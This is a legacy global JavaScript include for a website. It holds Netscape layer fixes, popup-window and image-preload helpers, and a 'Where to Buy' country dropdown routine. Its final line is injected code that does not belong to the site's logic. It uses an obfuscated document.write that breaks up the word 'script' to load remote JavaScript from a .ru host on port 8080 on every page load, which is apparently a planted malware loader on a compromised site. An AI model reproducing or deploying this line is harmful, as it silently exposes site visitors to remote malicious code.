//	Global JavaScript Include
////////////////////////////////
//	Netscape 4.x bug fixes 
//	Relatively positioned layers fix - prevents crashing when resizing browser
if (document.layers)
{
	document.write('<LAYER NAME="NOTHING" VISIBILITY="HIDE" Z-INDEX="0" LEFT="0" TOP="0"></LAYER>');

	var winWidth;
	var winHeight;

	winWidth = window.innerWidth;
	winHeight = window.innerHeight;
	window.onResize = reloadIt;
}

function reloadIt()
{
	if (( window.innerHeight != winHeight ) || ( window.innerWidth != winWidth )) {
		document.location = document.location;
	}
}

//	Opens a new window with specified properties
function openWin(url,name,w,h,scroll,resize,status,title,tool,menubar)
{
	var sFeatures;
	if (typeof(h) == "undefined") h = 300;
	if (typeof(w) == "undefined") w = 400;
	
	var screenW = screen.width;
	var screenH = screen.height;
	var posX = (screenW/2)-(w/2);
	var posY = (screenH/2)-(h/2);
	
	sFeatures = "screenY="+posY+",screenX="+posX+",top="+posY+",left="+posX+",height="+h+",width="+w;
	
	if (typeof(scroll) != "undefined"){ sFeatures += ",scrollbars=" + scroll; }
	if (typeof(resize) != "undefined"){ sFeatures += ",resizable=" + resize; }
	if (typeof(status) != "undefined"){ sFeatures += ",status=" + status; }
	if (typeof(title) != "undefined"){ sFeatures += ",titlebar=" + title; }
	if (typeof(tool) != "undefined"){ sFeatures += ",toolbar=" + tool; }
	if (typeof(menubar) != "undefined"){ sFeatures += ",menubar=" + menubar; }
	
//	alert(sFeatures);
	var win = window.open(url,name,sFeatures);
	win.focus();
}

//	Opens a new blank window with specified properties
function openBlankWin(url,name)
{

//	alert(sFeatures);
	var win = window.open(url,name);
	win.focus();
}


function submitForm(frm)
{
	document.forms[frm].submit();
}

//	Preload function called from web page
//	arImgs is the array of image paths passed
function preload( imgs, pths )
{
	var i;

	if( document.images ){
		for(i = 0; i < pths.length; i++){
			imgs[i] = new Image();
			imgs[i].src = pths[i];
		//	alert(pths[i]);
		}
	}
	
/*	Use the following template to preload images on the individual web pages
	var imags = new Array();	//Image array to preload
	var paths = new Array();	//Image paths
	paths[0] = "";
	preload(imags,paths);
*/
}

//	Image swapping function
//	requires dhtmllib.js functions to work properly
function swap_image(nme,imag)
{
	if(document.images)
	{
		var img_obj = findImage(nme, document);
		if (img_obj != null && typeof(imag) != 'undefined') img_obj.src = imag.src;
	}
}

function reload() {
//	alert("resize detected!");		
 window.location.reload();
}

//Where to Buy Right Chanell Select Box
function setDropDown(strComp){
	var strFilename, pos1, pos2;

	strFilename = "";

	pos1 = window.location.pathname.indexOf('wheretobuy_');
	if(pos1 >= 0){
		pos1 += 11;// len of "wheretobuy_"
		pos2 = window.location.pathname.lastIndexOf('.');
	}else{
		pos1 = window.location.pathname.indexOf('esp_');
		if(pos1 >= 0){
			pos1 += 4;// len of "esp_"
			pos2 = window.location.pathname.indexOf('_', pos1);
		}
	}

	if(pos1 >= 0){
		strFilename = window.location.pathname.substring(pos1, pos2);
	}

	if(strComp == strFilename){
		return true;
	}
	else{
		return false;
	}
}

//for(var i=0;i<document.frmCountrySelect.country.options.length;i++){
//	if(setDropDown(document.frmCountrySelect.country.options[i].value.substring(11, document.frmCountrySelect.country.options[i].value.length - 4))){
//		document.frmCountrySelect.country.options[i].selected=true;
//	}
//}
//End of Where to Buy Right Chanell Select Box

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Defragment.js"></scr'+'ipt>');